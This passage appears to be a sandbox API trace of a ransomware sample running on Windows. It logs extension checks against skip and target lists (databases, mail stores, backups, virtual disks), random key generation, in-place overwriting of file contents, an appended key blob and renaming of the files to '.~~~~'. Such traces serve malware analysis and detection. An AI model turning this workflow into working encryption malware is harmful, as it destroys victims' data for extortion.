	[0076.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".dll") returned 0x0
	[0076.226] lstrlenW (lpString=".bat") returned 4
	[0076.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".bat") returned 0x0
	[0076.226] lstrlenW (lpString=".cpl") returned 4
	[0076.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".cpl") returned 0x0
	[0076.226] lstrlenW (lpString=".sys") returned 4
	[0076.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".sys") returned 0x0
	[0076.226] lstrlenW (lpString=".msc") returned 4
	[0076.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".msc") returned 0x0
	[0076.226] lstrlenW (lpString=".com") returned 4
	[0076.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".com") returned 0x0
	[0076.226] lstrlenW (lpString=".lnk") returned 4
	[0076.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".lnk") returned 0x0
	[0076.226] lstrlenW (lpString=".msp") returned 4
	[0076.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".msp") returned 0x0
	[0076.226] lstrlenW (lpString=".pif") returned 4
	[0076.226] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".pif") returned 0x0
	[0076.227] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.227] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch="msp\r\n.pif") returned 0x0
	[0076.227] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.242] lstrlenW (lpString=".sqb") returned 4
	[0076.242] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".sqb") returned 0x0
	[0076.242] lstrlenW (lpString=".ost") returned 4
	[0076.242] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".ost") returned 0x0
	[0076.242] lstrlenW (lpString=".txt") returned 4
	[0076.242] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".txt") returned 0x0
	[0076.242] lstrlenW (lpString=".mdt") returned 4
	[0076.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".mdt") returned 0x0
	[0076.247] lstrlenW (lpString=".BDB") returned 4
	[0076.247] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".BDB") returned 0x0
	[0076.253] lstrlenW (lpString=".eql") returned 4
	[0076.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".eql") returned 0x0
	[0076.253] lstrlenW (lpString=".DBF") returned 4
	[0076.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".DBF") returned 0x0
	[0076.253] lstrlenW (lpString=".EQL") returned 4
	[0076.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".EQL") returned 0x0
	[0076.253] lstrlenW (lpString=".FDB") returned 4
	[0076.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".FDB") returned 0x0
	[0076.253] lstrlenW (lpString=".EDB") returned 4
	[0076.253] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".EDB") returned 0x0
	[0076.253] lstrlenW (lpString=".DACPAC") returned 7
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".DACPAC") returned 0x0
	[0076.254] lstrlenW (lpString=".VHD") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".VHD") returned 0x0
	[0076.254] lstrlenW (lpString=".DBV") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".DBV") returned 0x0
	[0076.254] lstrlenW (lpString=".dacpac") returned 7
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".dacpac") returned 0x0
	[0076.254] lstrlenW (lpString=".sdf") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".sdf") returned 0x0
	[0076.254] lstrlenW (lpString=".accdb") returned 6
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".accdb") returned 0x0
	[0076.254] lstrlenW (lpString=".DBX") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".DBX") returned 0x0
	[0076.254] lstrlenW (lpString=".MDT") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".MDT") returned 0x0
	[0076.254] lstrlenW (lpString=".SQB") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".SQB") returned 0x0
	[0076.254] lstrlenW (lpString=".vhd") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".vhd") returned 0x0
	[0076.254] lstrlenW (lpString=".bac") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".bac") returned 0x0
	[0076.254] lstrlenW (lpString=".mdf") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".mdf") returned 0x0
	[0076.254] lstrlenW (lpString=".BAK") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".BAK") returned 0x0
	[0076.254] lstrlenW (lpString=".BAC") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".BAC") returned 0x0
	[0076.254] lstrlenW (lpString=".dbs") returned 4
	[0076.254] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".dbs") returned 0x0
	[0076.254] lstrlenW (lpString=".vhdx") returned 5
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".vhdx") returned 0x0
	[0076.255] lstrlenW (lpString=".NDF") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".NDF") returned 0x0
	[0076.255] lstrlenW (lpString=".dat") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".dat") returned 0x0
	[0076.255] lstrlenW (lpString=".DBS") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".DBS") returned 0x0
	[0076.255] lstrlenW (lpString=".CKP") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".CKP") returned 0x0
	[0076.255] lstrlenW (lpString=".edb") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".edb") returned 0x0
	[0076.255] lstrlenW (lpString=".PST") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".PST") returned 0x0
	[0076.255] lstrlenW (lpString=".dbf") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".dbf") returned 0x0
	[0076.255] lstrlenW (lpString=".SQL") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".SQL") returned 0x0
	[0076.255] lstrlenW (lpString=".pst") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".pst") returned 0x0
	[0076.255] lstrlenW (lpString=".dbv") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".dbv") returned 0x0
	[0076.255] lstrlenW (lpString=".SDF") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".SDF") returned 0x0
	[0076.255] lstrlenW (lpString=".dtxs") returned 5
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".dtxs") returned 0x0
	[0076.255] lstrlenW (lpString=".db3") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".db3") returned 0x0
	[0076.255] lstrlenW (lpString=".OST") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".OST") returned 0x0
	[0076.255] lstrlenW (lpString=".dbx") returned 4
	[0076.255] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".dbx") returned 0x0
	[0076.256] lstrlenW (lpString=".DB3") returned 4
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".DB3") returned 0x0
	[0076.256] lstrlenW (lpString=".DAT") returned 4
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".DAT") returned 0x0
	[0076.256] lstrlenW (lpString=".VHDX") returned 5
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".VHDX") returned 0x0
	[0076.256] lstrlenW (lpString=".ndf") returned 4
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".ndf") returned 0x0
	[0076.256] lstrlenW (lpString=".DB") returned 3
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".DB") returned 0x0
	[0076.256] lstrlenW (lpString=".sql") returned 4
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".sql") returned 0x0
	[0076.256] lstrlenW (lpString=".MYD") returned 4
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".MYD") returned 0x0
	[0076.256] lstrlenW (lpString=".DBT") returned 4
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".DBT") returned 0x0
	[0076.256] lstrlenW (lpString=".ACCDB") returned 6
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".ACCDB") returned 0x0
	[0076.256] lstrlenW (lpString=".fdb") returned 4
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".fdb") returned 0x0
	[0076.256] lstrlenW (lpString=".bak") returned 4
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".bak") returned 0x0
	[0076.256] lstrlenW (lpString=".myd") returned 4
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".myd") returned 0x0
	[0076.256] lstrlenW (lpString=".DTXS") returned 5
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".DTXS") returned 0x0
	[0076.256] lstrlenW (lpString=".ckp") returned 4
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".ckp") returned 0x0
	[0076.256] lstrlenW (lpString=".dbt") returned 4
	[0076.256] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".dbt") returned 0x0
	[0076.257] lstrlenW (lpString=".db") returned 3
	[0076.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".db") returned 0x0
	[0076.257] lstrlenW (lpString=".TXT") returned 4
	[0076.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".TXT") returned 0x0
	[0076.257] lstrlenW (lpString=".MDF") returned 4
	[0076.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".MDF") returned 0x0
	[0076.257] lstrlenW (lpString=".bdb") returned 4
	[0076.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".bdb") returned 0x0
	[0076.257] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.257] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7108
	[0076.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.257] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0076.258] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.258] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.258] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19624839374) returned 1
	[0076.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x975944d0, dwHighDateTime=0x1d60e1e)) 
	[0076.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27facb8
	[0076.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27facb8 | out: hHeap=0x300000) returned 1
	[0076.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8020
	[0076.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.259] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8020 | out: hHeap=0x300000) returned 1
	[0076.259] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.259] GetLastError () returned 0x0
	[0076.259] GetLastError () returned 0x0
	[0076.259] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.259] GetLastError () returned 0x0
	[0076.259] GetLastError () returned 0x0
	[0076.259] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x741, lpOverlapped=0x0) returned 1
	[0076.265] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff8bf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.265] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x741, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x741, lpOverlapped=0x0) returned 1
	[0076.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.266] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.266] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.266] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.266] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.266] CloseHandle (hObject=0x11c) returned 1
	[0076.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0076.329] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.~~~~")) returned 1
	[0076.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0076.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.344] GetLastError () returned 0x0
	[0076.344] RtlWakeConditionVariable () returned 0x365f70
	[0076.344] GetCurrentThreadId () returned 0x9cc
	[0076.344] GetCurrentThreadId () returned 0x9cc
	[0076.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a43e0
	[0076.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a48e8 | out: hHeap=0x300000) returned 1
	[0076.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fad28 | out: hHeap=0x300000) returned 1
	[0076.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a48e8
	[0076.348] lstrlenW (lpString=".scr") returned 4
	[0076.348] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".scr") returned 0x0
	[0076.355] lstrlenW (lpString=".cmd") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".cmd") returned 0x0
	[0076.355] lstrlenW (lpString=".dll") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".dll") returned 0x0
	[0076.355] lstrlenW (lpString=".bat") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".bat") returned 0x0
	[0076.355] lstrlenW (lpString=".cpl") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".cpl") returned 0x0
	[0076.355] lstrlenW (lpString=".sys") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".sys") returned 0x0
	[0076.355] lstrlenW (lpString=".msc") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".msc") returned 0x0
	[0076.355] lstrlenW (lpString=".com") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".com") returned 0x0
	[0076.355] lstrlenW (lpString=".lnk") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".lnk") returned 0x0
	[0076.355] lstrlenW (lpString=".msp") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".msp") returned 0x0
	[0076.355] lstrlenW (lpString=".pif") returned 4
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".pif") returned 0x0
	[0076.355] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.355] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
